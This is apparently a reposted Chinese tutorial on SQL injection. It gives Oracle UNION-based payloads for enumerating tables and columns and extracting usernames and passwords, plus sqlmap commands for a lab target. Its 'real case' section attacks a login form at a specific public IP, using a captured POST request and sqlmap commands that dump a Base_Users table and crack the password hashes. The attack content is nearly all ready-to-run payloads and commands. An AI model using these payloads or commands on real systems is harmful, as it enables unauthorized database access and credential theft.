Oracle数据库注入
判断列数和显错位
union select '1','2' from dual
暴库名
union select '1',(select table_name from user_tables where rownum=1) from dual
模糊查询表名
查询表名一般查询admin或者user表
union select '1',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual
查询列名
union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
查询列数据
union select user_name,user_pwd from "sns_users"
SQLMAP使用
1、判断数据库注入点
2、判断注入点权限
sqlmap 数据库注入数据猜解
sqlmap 高权限注入读写执行
sqlmao 高权限注入联动MSF
案列演示:mozhe中db2数据库注入
使用python运行sqlmap.py-u:指定测试url
python sqlmap.py -u "http://124.70.71.251:44122/new_list.php?id=1"
意思:判断是否有注入点和目标数据库是什么类型
成功判断出数据库类型
判断数据库权限
--is-dba #是否是数据库管理员
--privileges #查看用户权限(--privileges -U root)
查询所有数据库
--dbs #列出所有数据库
查询当前数据库
--current-db #获取当前数据库名称
python sqlmap.py -u "http://124.70.71.251:44122/new_list.php?id=1" --current-db
查询表
--tables -D "" #列出指定数据库中的表
--tables#列出所有数据库中的表
python sqlmap.py -u "http://124.70.71.251:44122/new_list.php?id=1" --tables -D "DB2INST1"
查询字段/列名
--columns-T "user" -D "xxx" #列出xxx数据库中的user表的所有字段
查询字段/列名内容
--dump-T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T 表-D 数据库-C 列)
python sqlmap.py -u "http://124.70.71.251:44122/new_list.php?id=1" --dump -T "NOTICE" -D "DB2INST1" -C "CONTENT"
如果要继续测试第二个目标,可以清楚缓存在继续
--purge#清除缓存
真实案例:登陆框注入
抓取登录数据包,判断出存在注入
将HTTP保存
POST /Login/ValidateLogin HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://137.220.134.102:8089/Login/index
Content-Length: 31
Cookie: Hm_lvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1647680481; Hm_lpvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1647680481
DNT: 1
Connection: close
userName=admin*&password=123456
数据包中*号表示在此处为注入点
使用sqlmap扫描
sqlmap -r 1.txt
sqlmap.py -r C:UsershesyDesktop1.txt --current-db//跑出数据库名字
接着跑出数据表
sqlmap -r 1.txt -D “RYPlatformManagerDB" -tables
接着跑出列
sqlmap -r 1.txt -D “RYPlatformManagerDB" -T "Base_Users" --columns
然后跑出数据,利用sqlmap自带的md5成功破解出密码
sqlmap -r 1.txt -D “RYPlatformManagerDB" -T "Base_Users" -C “Username,password” --dump
原文始发于微信公众号(小黑子安全):SQL注入-Oracle手工+sqlmap
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论